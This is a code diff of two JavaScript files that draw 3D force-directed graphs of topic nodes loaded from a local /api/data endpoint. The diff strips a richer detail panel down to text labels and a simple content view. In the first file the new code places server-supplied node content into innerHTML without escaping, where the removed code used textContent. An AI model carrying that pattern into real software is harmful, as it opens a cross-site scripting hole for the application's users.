@ -1,61 +1,78 @@
|
||||||
// output_int_sec.js
|
// output_int_sec.js
|
||||||
import ForceGraph3D from 'https://esm.sh/3d-force-graph?external=three';
|
|
||||||
import * as THREE from 'three';
|
|
||||||
|
|
||||||
|
// Obtener el contenedor del gráfico
|
||||||
document.addEventListener('DOMContentLoaded', () => {
|
document.addEventListener('DOMContentLoaded', () => {
|
||||||
const elem = document.getElementById('intSecContainer');
|
const elem = document.getElementById('intSecContainer');
|
||||||
const form = document.getElementById('paramForm');
|
const form = document.getElementById('paramForm');
|
||||||
|
const detailPanel = document.getElementById('detailPanel');
|
||||||
|
|
||||||
let lastGraphData = { nodes: [], links: [] };
|
// --- Etiqueta de texto con CanvasTexture (sin SpriteText externo) ---
|
||||||
let fullGraphData = null;
|
function makeTextSprite(text) {
|
||||||
let currentRelatedNodes = [];
|
if (!window.THREE) {
|
||||||
let currentRelatedIdx = 0;
|
console.warn('THREE no está disponible; omito etiquetas.');
|
||||||
let currentNode = null;
|
return undefined;
|
||||||
|
}
|
||||||
|
const pad = 16; // más padding para nitidez
|
||||||
|
const font = 'bold 36px Fira Code, monospace'; // fuente más grande
|
||||||
|
|
||||||
const textureCache = {};
|
// 1) preparar canvas al tamaño del texto
|
||||||
function getTexture(url) {
|
const c = document.createElement('canvas');
|
||||||
if (!textureCache[url]) textureCache[url] = new THREE.TextureLoader().load(url);
|
const ctx = c.getContext('2d');
|
||||||
return textureCache[url];
|
ctx.font = font;
|
||||||
|
const w = Math.ceil(ctx.measureText(text).width) + pad * 2;
|
||||||
|
const h = 50 + pad * 2;
|
||||||
|
c.width = w; c.height = h;
|
||||||
|
|
||||||
|
// 2) dibujar texto
|
||||||
|
ctx.font = font;
|
||||||
|
ctx.fillStyle = 'rgba(255,255,255,0.98)';
|
||||||
|
ctx.textBaseline = 'middle';
|
||||||
|
ctx.fillText(text, pad, h / 2);
|
||||||
|
|
||||||
|
// 3) textura -> sprite
|
||||||
|
const tex = new THREE.CanvasTexture(c);
|
||||||
|
tex.needsUpdate = true;
|
||||||
|
|
||||||
|
const mat = new THREE.SpriteMaterial({
|
||||||
|
map: tex,
|
||||||
|
transparent: true,
|
||||||
|
depthTest: false, // que no lo tape la esfera
|
||||||
|
depthWrite: false // que no escriba en el z-buffer
|
||||||
|
});
|
||||||
|
const spr = new THREE.Sprite(mat);
|
||||||
|
|
||||||
|
// tamaño del texto en “mundo”
|
||||||
|
const k = 0.22; // ajusta tamaño del texto (↑ más grande, ↓ más pequeño)
|
||||||
|
spr.scale.set(w * k, h * k, 1);
|
||||||
|
|
||||||
|
// elevar el texto sobre el nodo
|
||||||
|
spr.position.y = 8; // sube/baja si lo ves muy pegado
|
||||||
|
|
||||||
|
return spr;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Inicializar el gráfico 3D
|
||||||
const graph = ForceGraph3D()(elem)
|
const graph = ForceGraph3D()(elem)
|
||||||
.backgroundColor('#000000')
|
.backgroundColor('#000000')
|
||||||
.nodeLabel(node => node.type === 'imagen' ? (node.label || node.id) : node.id)
|
.nodeLabel('id')
|
||||||
.nodeAutoColorBy('group')
|
.nodeAutoColorBy('group')
|
||||||
.nodeVal(node => node.type === 'imagen' ? 20 : 2)
|
.nodeVal(1)
|
||||||
.linkColor(() => 'blue')
|
.linkColor(() => 'blue')
|
||||||
.onNodeClick(node => showNodeDetail(node))
|
// Texto fijo sobre cada nodo (usando CanvasTexture)
|
||||||
|
.nodeThreeObject(n => makeTextSprite(n.id))
|
||||||
|
.nodeThreeObjectExtend(true) // mantiene esfera + texto
|
||||||
|
.onNodeClick(node => showNodeContent(node.content))
|
||||||
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
|
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
|
||||||
.nodeThreeObject(node => {
|
|
||||||
// Imagen local (nodos-imagen) directa; og:image remota de noticias via
|
|
||||||
// proxy same-origin /api/img para que WebGL pueda texturizarla (CORS).
|
|
||||||
let src = null, esNoticia = false;
|
|
||||||
if (node.type === 'imagen' && node.image_url) {
|
|
||||||
src = node.image_url;
|
|
||||||
} else if (node.imagen_url) {
|
|
||||||
src = '/api/img?u=' + encodeURIComponent(node.imagen_url);
|
|
||||||
esNoticia = true;
|
|
||||||
}
|
|
||||||
if (!src) return null;
|
|
||||||
const texture = getTexture(src);
|
|
||||||
texture.colorSpace = THREE.SRGBColorSpace;
|
|
||||||
const material = new THREE.SpriteMaterial({ map: texture, depthWrite: false });
|
|
||||||
const sprite = new THREE.Sprite(material);
|
|
||||||
// miniaturas de noticia mas pequenas que los nodos-imagen dedicados
|
|
||||||
if (esNoticia) sprite.scale.set(84, 55, 1);
|
|
||||||
else sprite.scale.set(160, 104, 1);
|
|
||||||
return sprite;
|
|
||||||
})
|
|
||||||
.nodeThreeObjectExtend(false)
|
|
||||||
.forceEngine('d3');
|
.forceEngine('d3');
|
||||||
|
// .d3Force('charge', d3.forceManyBody().strength(-400))
|
||||||
|
// .d3Force('link', d3.forceLink().distance(300).strength(1))
|
||||||
|
|
||||||
graph.d3Force('charge').strength(-150);
|
// Centrado automático del gráfico
|
||||||
graph.d3Force('link').distance(70).strength(0.3);
|
|
||||||
graph.d3Force('center').strength(0.05);
|
|
||||||
|
|
||||||
function centerGraph() {
|
function centerGraph() {
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
graph.zoomToFit(400, Math.min(elem.clientWidth, elem.clientHeight) * 0.1);
|
const width = elem.clientWidth;
|
||||||
|
const height = elem.clientHeight;
|
||||||
|
graph.zoomToFit(400, Math.min(width, height) * 0.1);
|
||||||
}, 500);
|
}, 500);
|
||||||
}
|
}
|
||||||
window.addEventListener('resize', () => {
|
window.addEventListener('resize', () => {
|
||||||
|
|
@ -64,179 +81,98 @@ document.addEventListener('DOMContentLoaded', () => {
|
||||||
centerGraph();
|
centerGraph();
|
||||||
});
|
});
|
||||||
|
|
||||||
function getAuthor(node) { return node.autor || node.fuente || node.source || ''; }
|
// Mostrar contenido del nodo
|
||||||
function formatDate(fecha) {
|
function showNodeContent(content) {
|
||||||
if (!fecha) return '';
|
if (!detailPanel) {
|
||||||
try { return new Date(fecha).toLocaleDateString('es-ES'); } catch { return String(fecha); }
|
console.log('Contenido del nodo:', content);
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
function formatTitle(id) { return String(id).replace(/_/g, ' '); }
|
detailPanel.innerHTML = `
|
||||||
|
<h2 style="margin:0 0 8px">Detalle</h2>
|
||||||
function getRelated(node) {
|
<pre style="white-space:pre-wrap; line-height:1.35; font-family:'Fira Code', monospace; font-size:14px; color:#e5e5e5;">${content || 'No hay contenido disponible.'}</pre>
|
||||||
const nid = node.id;
|
`;
|
||||||
const relIds = new Set();
|
|
||||||
for (const lk of lastGraphData.links) {
|
|
||||||
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
|
|
||||||
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
|
|
||||||
if (s === nid) relIds.add(t);
|
|
||||||
else if (t === nid) relIds.add(s);
|
|
||||||
}
|
|
||||||
return lastGraphData.nodes.filter(n => relIds.has(n.id));
|
|
||||||
}
|
|
||||||
|
|
||||||
function renderDetailPanel(node, related, idx) {
|
|
||||||
const detailContent = document.getElementById('detailContent');
|
|
||||||
const split = document.querySelector('main.split-screen');
|
const split = document.querySelector('main.split-screen');
|
||||||
if (!detailContent || !split) return;
|
if (split) split.classList.add('show-detail');
|
||||||
|
|
||||||
detailContent.querySelector('.detail-author').textContent = getAuthor(node);
|
|
||||||
detailContent.querySelector('.detail-date').textContent = formatDate(node.fecha || node.date);
|
|
||||||
detailContent.querySelector('.detail-title').textContent = formatTitle(node.id);
|
|
||||||
|
|
||||||
const relCount = detailContent.querySelector('.relations-count');
|
|
||||||
const relLabel = document.getElementById('relationLabel');
|
|
||||||
const prevBtn = document.getElementById('prevRelation');
|
|
||||||
const nextBtn = document.getElementById('nextRelation');
|
|
||||||
relCount.textContent = `${related.length} relación${related.length !== 1 ? 'es' : ''}`;
|
|
||||||
if (related.length > 0) {
|
|
||||||
relLabel.textContent = formatTitle(related[idx].id);
|
|
||||||
prevBtn.disabled = idx <= 0;
|
|
||||||
nextBtn.disabled = idx >= related.length - 1;
|
|
||||||
} else {
|
|
||||||
relLabel.textContent = '—';
|
|
||||||
prevBtn.disabled = true;
|
|
||||||
nextBtn.disabled = true;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
const body = detailContent.querySelector('.detail-body');
|
// Función para obtener datos del servidor
|
||||||
body.innerHTML = '';
|
|
||||||
const _imgSrc = (node.type === 'imagen' && node.image_url) ? node.image_url
|
|
||||||
: (node.imagen_url || null);
|
|
||||||
if (_imgSrc) {
|
|
||||||
const img = document.createElement('img');
|
|
||||||
img.src = _imgSrc;
|
|
||||||
img.className = 'detail-img';
|
|
||||||
img.loading = 'lazy';
|
|
||||||
img.onerror = () => img.remove();
|
|
||||||
body.appendChild(img);
|
|
||||||
}
|
|
||||||
const text = document.createElement('span');
|
|
||||||
text.textContent = node.content || node.texto || node.descripcion || 'Sin contenido disponible.';
|
|
||||||
body.appendChild(text);
|
|
||||||
|
|
||||||
if (related.length > 0) {
|
|
||||||
const conexBtn = document.createElement('button');
|
|
||||||
conexBtn.id = 'verConexionesBtn';
|
|
||||||
conexBtn.textContent = '⬡ Ver solo conexiones de este nodo';
|
|
||||||
conexBtn.addEventListener('click', () => showEgoGraph(node));
|
|
||||||
body.appendChild(conexBtn);
|
|
||||||
}
|
|
||||||
|
|
||||||
split.classList.add('show-detail');
|
|
||||||
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
|
|
||||||
}
|
|
||||||
|
|
||||||
function showEgoGraph(node) {
|
|
||||||
const nid = node.id;
|
|
||||||
const relIds = new Set();
|
|
||||||
for (const lk of lastGraphData.links) {
|
|
||||||
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
|
|
||||||
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
|
|
||||||
if (s === nid) relIds.add(t);
|
|
||||||
else if (t === nid) relIds.add(s);
|
|
||||||
}
|
|
||||||
const egoNodes = lastGraphData.nodes.filter(n => n.id === nid || relIds.has(n.id));
|
|
||||||
const egoIds = new Set(egoNodes.map(n => n.id));
|
|
||||||
const egoLinks = lastGraphData.links.filter(lk => {
|
|
||||||
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
|
|
||||||
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
|
|
||||||
return egoIds.has(s) && egoIds.has(t);
|
|
||||||
});
|
|
||||||
fullGraphData = lastGraphData;
|
|
||||||
graph.graphData({ nodes: egoNodes, links: egoLinks });
|
|
||||||
centerGraph();
|
|
||||||
document.getElementById('volverGrafoBtn').classList.add('visible');
|
|
||||||
}
|
|
||||||
|
|
||||||
function restoreFullGraph() {
|
|
||||||
if (fullGraphData) {
|
|
||||||
lastGraphData = fullGraphData;
|
|
||||||
fullGraphData = null;
|
|
||||||
graph.graphData({ nodes: lastGraphData.nodes, links: lastGraphData.links });
|
|
||||||
centerGraph();
|
|
||||||
document.getElementById('volverGrafoBtn').classList.remove('visible');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function showNodeDetail(node) {
|
|
||||||
currentNode = node;
|
|
||||||
currentRelatedNodes = getRelated(node);
|
|
||||||
currentRelatedIdx = 0;
|
|
||||||
renderDetailPanel(node, currentRelatedNodes, currentRelatedIdx);
|
|
||||||
}
|
|
||||||
|
|
||||||
document.getElementById('prevRelation').addEventListener('click', () => {
|
|
||||||
if (currentRelatedIdx > 0) {
|
|
||||||
currentRelatedIdx--;
|
|
||||||
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
document.getElementById('nextRelation').addEventListener('click', () => {
|
|
||||||
if (currentRelatedIdx < currentRelatedNodes.length - 1) {
|
|
||||||
currentRelatedIdx++;
|
|
||||||
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
document.getElementById('closeDetail').addEventListener('click', () => {
|
|
||||||
const split = document.querySelector('main.split-screen');
|
|
||||||
if (split) split.classList.remove('show-detail');
|
|
||||||
restoreFullGraph();
|
|
||||||
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
|
|
||||||
});
|
|
||||||
|
|
||||||
document.getElementById('volverGrafoBtn').addEventListener('click', () => {
|
|
||||||
restoreFullGraph();
|
|
||||||
});
|
|
||||||
|
|
||||||
async function getData(paramsObj = {}) {
|
async function getData(paramsObj = {}) {
|
||||||
try {
|
try {
|
||||||
let url = '/api/data';
|
let url = '/api/data';
|
||||||
const params = new URLSearchParams();
|
const params = new URLSearchParams();
|
||||||
|
|
||||||
|
// Establecer el tema fijo
|
||||||
params.append('tema', 'inteligencia y seguridad');
|
params.append('tema', 'inteligencia y seguridad');
|
||||||
|
|
||||||
|
// Agregar parámetros del formulario, incluyendo complejidad como umbral
|
||||||
for (const key in paramsObj) {
|
for (const key in paramsObj) {
|
||||||
if (paramsObj[key] !== undefined && paramsObj[key] !== '') {
|
if (paramsObj[key] !== undefined && paramsObj[key] !== '') {
|
||||||
params.append(key, paramsObj[key]);
|
params.append(key, paramsObj[key]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
url += `?${params.toString()}`;
|
url += `?${params.toString()}`;
|
||||||
console.log('Fetch URL:', url);
|
console.log('🔎 Fetch URL:', url);
|
||||||
|
|
||||||
const response = await fetch(url);
|
const response = await fetch(url);
|
||||||
if (!response.ok) throw new Error(response.statusText);
|
if (!response.ok) throw new Error(response.statusText);
|
||||||
const data = await response.json();
|
const data = await response.json();
|
||||||
const nodeIds = new Set(data.nodes.map(n => n.id));
|
console.log('Datos recibidos del servidor:', data);
|
||||||
data.links = data.links.filter(lk => nodeIds.has(lk.source) && nodeIds.has(lk.target));
|
|
||||||
|
// Filtrar enlaces inválidos
|
||||||
|
const nodeIds = new Set(data.nodes.map(node => node.id));
|
||||||
|
data.links = data.links.filter(link => nodeIds.has(link.source) && nodeIds.has(link.target));
|
||||||
|
|
||||||
return data;
|
return data;
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('Error al obtener datos:', error);
|
console.error('Error al obtener datos del servidor:', error);
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Función principal: fetch, filtrar por complejidad/umbral y renderizar
|
||||||
async function fetchAndRender() {
|
async function fetchAndRender() {
|
||||||
|
const subtematica = document.getElementById('param2').value;
|
||||||
|
const palabraClave = document.getElementById('param1').value;
|
||||||
|
const fechaInicio = document.getElementById('fecha_inicio').value;
|
||||||
|
const fechaFin = document.getElementById('fecha_fin').value;
|
||||||
|
const nodos = document.getElementById('nodos').value;
|
||||||
|
const complejidad = document.getElementById('complejidad').value;
|
||||||
|
|
||||||
|
// Usamos 'complejidad' como porcentaje de similitud mínima (umbral)
|
||||||
const paramsObj = {
|
const paramsObj = {
|
||||||
subtematica: document.getElementById('param2').value,
|
subtematica,
|
||||||
palabraClave: document.getElementById('param1').value,
|
palabraClave,
|
||||||
fechaInicio: document.getElementById('fecha_inicio').value,
|
fechaInicio,
|
||||||
fechaFin: document.getElementById('fecha_fin').value,
|
fechaFin,
|
||||||
nodos: document.getElementById('nodos').value,
|
nodos,
|
||||||
complejidad: document.getElementById('complejidad').value,
|
complejidad // enviado al backend y usado de umbral en cliente
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Parsear complejidad a número
|
||||||
|
const umbralPct = parseFloat(complejidad) || 0;
|
||||||
|
console.log(`Aplicando umbral de similitud: ${umbralPct}%`);
|
||||||
|
|
||||||
const graphData = await getData(paramsObj);
|
const graphData = await getData(paramsObj);
|
||||||
if (!graphData) return;
|
if (!graphData) return;
|
||||||
lastGraphData = graphData;
|
|
||||||
graph.graphData({ nodes: graphData.nodes, links: graphData.links });
|
// Filtrar enlaces por umbral de similitud
|
||||||
|
let filteredLinks = graphData.links;
|
||||||
|
if (umbralPct > 0) {
|
||||||
|
filteredLinks = filteredLinks.filter(link => Number(link.value) >= umbralPct);
|
||||||
|
console.log(`Enlaces tras aplicar umbral: ${filteredLinks.length}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
graph.graphData({ nodes: graphData.nodes, links: filteredLinks });
|
||||||
centerGraph();
|
centerGraph();
|
||||||
}
|
}
|
||||||
|
|
||||||
form.addEventListener('submit', event => { event.preventDefault(); fetchAndRender(); });
|
// Escuchar evento submit del formulario
|
||||||
|
form.addEventListener('submit', event => {
|
||||||
|
event.preventDefault();
|
||||||
|
fetchAndRender();
|
||||||
|
});
|
||||||
|
|
||||||
|
// Cargar gráfico inicial
|
||||||
fetchAndRender();
|
fetchAndRender();
|
||||||
});
|
});
|
||||||
|
|
|
||||||
|
|
@ -1,61 +1,29 @@
|
||||||
// output_popl_up_pruebas.js
|
// output_popl_up_pruebas.js
|
||||||
import ForceGraph3D from 'https://esm.sh/3d-force-graph?external=three';
|
|
||||||
import * as THREE from 'three';
|
|
||||||
|
|
||||||
|
// Obtener el contenedor del gráfico
|
||||||
document.addEventListener('DOMContentLoaded', () => {
|
document.addEventListener('DOMContentLoaded', () => {
|
||||||
const elem = document.getElementById('poplUpContainer');
|
const elem = document.getElementById('poplUpContainer');
|
||||||
const form = document.getElementById('paramForm');
|
const form = document.getElementById('paramForm');
|
||||||
|
|
||||||
let lastGraphData = { nodes: [], links: [] };
|
// Inicializar el gráfico 3D
|
||||||
let fullGraphData = null;
|
|
||||||
let currentRelatedNodes = [];
|
|
||||||
let currentRelatedIdx = 0;
|
|
||||||
let currentNode = null;
|
|
||||||
|
|
||||||
const textureCache = {};
|
|
||||||
function getTexture(url) {
|
|
||||||
if (!textureCache[url]) textureCache[url] = new THREE.TextureLoader().load(url);
|
|
||||||
return textureCache[url];
|
|
||||||
}
|
|
||||||
|
|
||||||
const graph = ForceGraph3D()(elem)
|
const graph = ForceGraph3D()(elem)
|
||||||
.backgroundColor('#000000')
|
.backgroundColor('#000000')
|
||||||
.nodeLabel(node => node.type === 'imagen' ? (node.label || node.id) : node.id)
|
.nodeLabel('id')
|
||||||
.nodeAutoColorBy('group')
|
.nodeAutoColorBy('group')
|
||||||
.nodeVal(node => node.type === 'imagen' ? 20 : 2)
|
.nodeVal(1)
|
||||||
.linkColor(() => 'orange')
|
.linkColor(() => 'orange')
|
||||||
.onNodeClick(node => showNodeDetail(node))
|
.onNodeClick(node => showNodeContent(node.content))
|
||||||
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
|
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
|
||||||
.nodeThreeObject(node => {
|
.forceEngine('d3')
|
||||||
// Imagen local (nodos-imagen) directa; og:image remota de noticias via
|
//.d3Force('charge', d3.forceManyBody().strength(-300))
|
||||||
// proxy same-origin /api/img para que WebGL pueda texturizarla (CORS).
|
//.d3Force('link', d3.forceLink().distance(300).strength(1));
|
||||||
let src = null, esNoticia = false;
|
|
||||||
if (node.type === 'imagen' && node.image_url) {
|
|
||||||
src = node.image_url;
|
|
||||||
} else if (node.imagen_url) {
|
|
||||||
src = '/api/img?u=' + encodeURIComponent(node.imagen_url);
|
|
||||||
esNoticia = true;
|
|
||||||
}
|
|
||||||
if (!src) return null;
|
|
||||||
const texture = getTexture(src);
|
|
||||||
texture.colorSpace = THREE.SRGBColorSpace;
|
|
||||||
const material = new THREE.SpriteMaterial({ map: texture, depthWrite: false });
|
|
||||||
const sprite = new THREE.Sprite(material);
|
|
||||||
// miniaturas de noticia mas pequenas que los nodos-imagen dedicados
|
|
||||||
if (esNoticia) sprite.scale.set(84, 55, 1);
|
|
||||||
else sprite.scale.set(160, 104, 1);
|
|
||||||
return sprite;
|
|
||||||
})
|
|
||||||
.nodeThreeObjectExtend(false)
|
|
||||||
.forceEngine('d3');
|
|
||||||
|
|
||||||
graph.d3Force('charge').strength(-150);
|
|
||||||
graph.d3Force('link').distance(70).strength(0.3);
|
|
||||||
graph.d3Force('center').strength(0.05);
|
|
||||||
|
|
||||||
|
// Centrado automático del gráfico
|
||||||
function centerGraph() {
|
function centerGraph() {
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
graph.zoomToFit(400, Math.min(elem.clientWidth, elem.clientHeight) * 0.1);
|
const width = elem.clientWidth;
|
||||||
|
const height = elem.clientHeight;
|
||||||
|
graph.zoomToFit(400, Math.min(width, height) * 0.1);
|
||||||
}, 500);
|
}, 500);
|
||||||
}
|
}
|
||||||
window.addEventListener('resize', () => {
|
window.addEventListener('resize', () => {
|
||||||
|
|
@ -64,179 +32,98 @@ document.addEventListener('DOMContentLoaded', () => {
|
||||||
centerGraph();
|
centerGraph();
|
||||||
});
|
});
|
||||||
|
|
||||||
function getAuthor(node) { return node.autor || node.fuente || node.source || ''; }
|
// Mostrar contenido del nodo
|
||||||
function formatDate(fecha) {
|
function showNodeContent(content) {
|
||||||
if (!fecha) return '';
|
console.log('Contenido del nodo:', content);
|
||||||
try { return new Date(fecha).toLocaleDateString('es-ES'); } catch { return String(fecha); }
|
|
||||||
}
|
|
||||||
function formatTitle(id) { return String(id).replace(/_/g, ' '); }
|
|
||||||
|
|
||||||
function getRelated(node) {
|
|
||||||
const nid = node.id;
|
|
||||||
const relIds = new Set();
|
|
||||||
for (const lk of lastGraphData.links) {
|
|
||||||
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
|
|
||||||
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
|
|
||||||
if (s === nid) relIds.add(t);
|
|
||||||
else if (t === nid) relIds.add(s);
|
|
||||||
}
|
|
||||||
return lastGraphData.nodes.filter(n => relIds.has(n.id));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function renderDetailPanel(node, related, idx) {
|
// Función para obtener datos del servidor
|
||||||
const detailContent = document.getElementById('detailContent');
|
|
||||||
const split = document.querySelector('main.split-screen');
|
|
||||||
if (!detailContent || !split) return;
|
|
||||||
|
|
||||||
detailContent.querySelector('.detail-author').textContent = getAuthor(node);
|
|
||||||
detailContent.querySelector('.detail-date').textContent = formatDate(node.fecha || node.date);
|
|
||||||
detailContent.querySelector('.detail-title').textContent = formatTitle(node.id);
|
|
||||||
|
|
||||||
const relCount = detailContent.querySelector('.relations-count');
|
|
||||||
const relLabel = document.getElementById('relationLabel');
|
|
||||||
const prevBtn = document.getElementById('prevRelation');
|
|
||||||
const nextBtn = document.getElementById('nextRelation');
|
|
||||||
relCount.textContent = `${related.length} relación${related.length !== 1 ? 'es' : ''}`;
|
|
||||||
if (related.length > 0) {
|
|
||||||
relLabel.textContent = formatTitle(related[idx].id);
|
|
||||||
prevBtn.disabled = idx <= 0;
|
|
||||||
nextBtn.disabled = idx >= related.length - 1;
|
|
||||||
} else {
|
|
||||||
relLabel.textContent = '—';
|
|
||||||
prevBtn.disabled = true;
|
|
||||||
nextBtn.disabled = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
const body = detailContent.querySelector('.detail-body');
|
|
||||||
body.innerHTML = '';
|
|
||||||
const _imgSrc = (node.type === 'imagen' && node.image_url) ? node.image_url
|
|
||||||
: (node.imagen_url || null);
|
|
||||||
if (_imgSrc) {
|
|
||||||
const img = document.createElement('img');
|
|
||||||
img.src = _imgSrc;
|
|
||||||
img.className = 'detail-img';
|
|
||||||
img.loading = 'lazy';
|
|
||||||
img.onerror = () => img.remove();
|
|
||||||
body.appendChild(img);
|
|
||||||
}
|
|
||||||
const text = document.createElement('span');
|
|
||||||
text.textContent = node.content || node.texto || node.descripcion || 'Sin contenido disponible.';
|
|
||||||
body.appendChild(text);
|
|
||||||
|
|
||||||
if (related.length > 0) {
|
|
||||||
const conexBtn = document.createElement('button');
|
|
||||||
conexBtn.id = 'verConexionesBtn';
|
|
||||||
conexBtn.textContent = '⬡ Ver solo conexiones de este nodo';
|
|
||||||
conexBtn.addEventListener('click', () => showEgoGraph(node));
|
|
||||||
body.appendChild(conexBtn);
|
|
||||||
}
|
|
||||||
|
|
||||||
split.classList.add('show-detail');
|
|
||||||
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
|
|
||||||
}
|
|
||||||
|
|
||||||
function showEgoGraph(node) {
|
|
||||||
const nid = node.id;
|
|
||||||
const relIds = new Set();
|
|
||||||
for (const lk of lastGraphData.links) {
|
|
||||||
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
|
|
||||||
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
|
|
||||||
if (s === nid) relIds.add(t);
|
|
||||||
else if (t === nid) relIds.add(s);
|
|
||||||
}
|
|
||||||
const egoNodes = lastGraphData.nodes.filter(n => n.id === nid || relIds.has(n.id));
|
|
||||||
const egoIds = new Set(egoNodes.map(n => n.id));
|
|
||||||
const egoLinks = lastGraphData.links.filter(lk => {
|
|
||||||
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
|
|
||||||
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
|
|
||||||
return egoIds.has(s) && egoIds.has(t);
|
|
||||||
});
|
|
||||||
fullGraphData = lastGraphData;
|
|
||||||
graph.graphData({ nodes: egoNodes, links: egoLinks });
|
|
||||||
centerGraph();
|
|
||||||
document.getElementById('volverGrafoBtn').classList.add('visible');
|
|
||||||
}
|
|
||||||
|
|
||||||
function restoreFullGraph() {
|
|
||||||
if (fullGraphData) {
|
|
||||||
lastGraphData = fullGraphData;
|
|
||||||
fullGraphData = null;
|
|
||||||
graph.graphData({ nodes: lastGraphData.nodes, links: lastGraphData.links });
|
|
||||||
centerGraph();
|
|
||||||
document.getElementById('volverGrafoBtn').classList.remove('visible');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function showNodeDetail(node) {
|
|
||||||
currentNode = node;
|
|
||||||
currentRelatedNodes = getRelated(node);
|
|
||||||
currentRelatedIdx = 0;
|
|
||||||
renderDetailPanel(node, currentRelatedNodes, currentRelatedIdx);
|
|
||||||
}
|
|
||||||
|
|
||||||
document.getElementById('prevRelation').addEventListener('click', () => {
|
|
||||||
if (currentRelatedIdx > 0) {
|
|
||||||
currentRelatedIdx--;
|
|
||||||
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
document.getElementById('nextRelation').addEventListener('click', () => {
|
|
||||||
if (currentRelatedIdx < currentRelatedNodes.length - 1) {
|
|
||||||
currentRelatedIdx++;
|
|
||||||
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
document.getElementById('closeDetail').addEventListener('click', () => {
|
|
||||||
const split = document.querySelector('main.split-screen');
|
|
||||||
if (split) split.classList.remove('show-detail');
|
|
||||||
restoreFullGraph();
|
|
||||||
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
|
|
||||||
});
|
|
||||||
|
|
||||||
document.getElementById('volverGrafoBtn').addEventListener('click', () => {
|
|
||||||
restoreFullGraph();
|
|
||||||
});
|
|
||||||
|
|
||||||
async function getData(paramsObj = {}) {
|
async function getData(paramsObj = {}) {
|
||||||
try {
|
try {
|
||||||
let url = '/api/data';
|
let url = '/api/data';
|
||||||
const params = new URLSearchParams();
|
const params = new URLSearchParams();
|
||||||
|
|
||||||
|
// Establecer el tema fijo
|
||||||
params.append('tema', 'demografía y sociedad');
|
params.append('tema', 'demografía y sociedad');
|
||||||
|
|
||||||
|
// Agregar parámetros del formulario, incluyendo complejidad como umbral
|
||||||
for (const key in paramsObj) {
|
for (const key in paramsObj) {
|
||||||
if (paramsObj[key] !== undefined && paramsObj[key] !== '') {
|
if (paramsObj[key] !== undefined && paramsObj[key] !== '') {
|
||||||
params.append(key, paramsObj[key]);
|
params.append(key, paramsObj[key]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
url += `?${params.toString()}`;
|
url += `?${params.toString()}`;
|
||||||
console.log('Fetch URL:', url);
|
console.log('🔎 Fetch URL:', url);
|
||||||
|
|
||||||
const response = await fetch(url);
|
const response = await fetch(url);
|
||||||
if (!response.ok) throw new Error(response.statusText);
|
if (!response.ok) throw new Error(response.statusText);
|
||||||
const data = await response.json();
|
const data = await response.json();
|
||||||
const nodeIds = new Set(data.nodes.map(n => n.id));
|
console.log('Datos recibidos del servidor:', data);
|
||||||
data.links = data.links.filter(lk => nodeIds.has(lk.source) && nodeIds.has(lk.target));
|
|
||||||
|
// Filtrar enlaces inválidos
|
||||||
|
const nodeIds = new Set(data.nodes.map(node => node.id));
|
||||||
|
data.links = data.links.filter(link => nodeIds.has(link.source) && nodeIds.has(link.target));
|
||||||
|
|
||||||
return data;
|
return data;
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('Error al obtener datos:', error);
|
console.error('Error al obtener datos del servidor:', error);
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Función principal: fetch, filtrar por complejidad/umbral y renderizar
|
||||||
async function fetchAndRender() {
|
async function fetchAndRender() {
|
||||||
|
const subtematica = document.getElementById('param2').value;
|
||||||
|
const palabraClave = document.getElementById('param1').value;
|
||||||
|
const fechaInicio = document.getElementById('fecha_inicio').value;
|
||||||
|
const fechaFin = document.getElementById('fecha_fin').value;
|
||||||
|
const nodos = document.getElementById('nodos').value;
|
||||||
|
const complejidad = document.getElementById('complejidad').value;
|
||||||
|
|
||||||
|
// Usamos 'complejidad' como porcentaje de similitud mínima (umbral)
|
||||||
const paramsObj = {
|
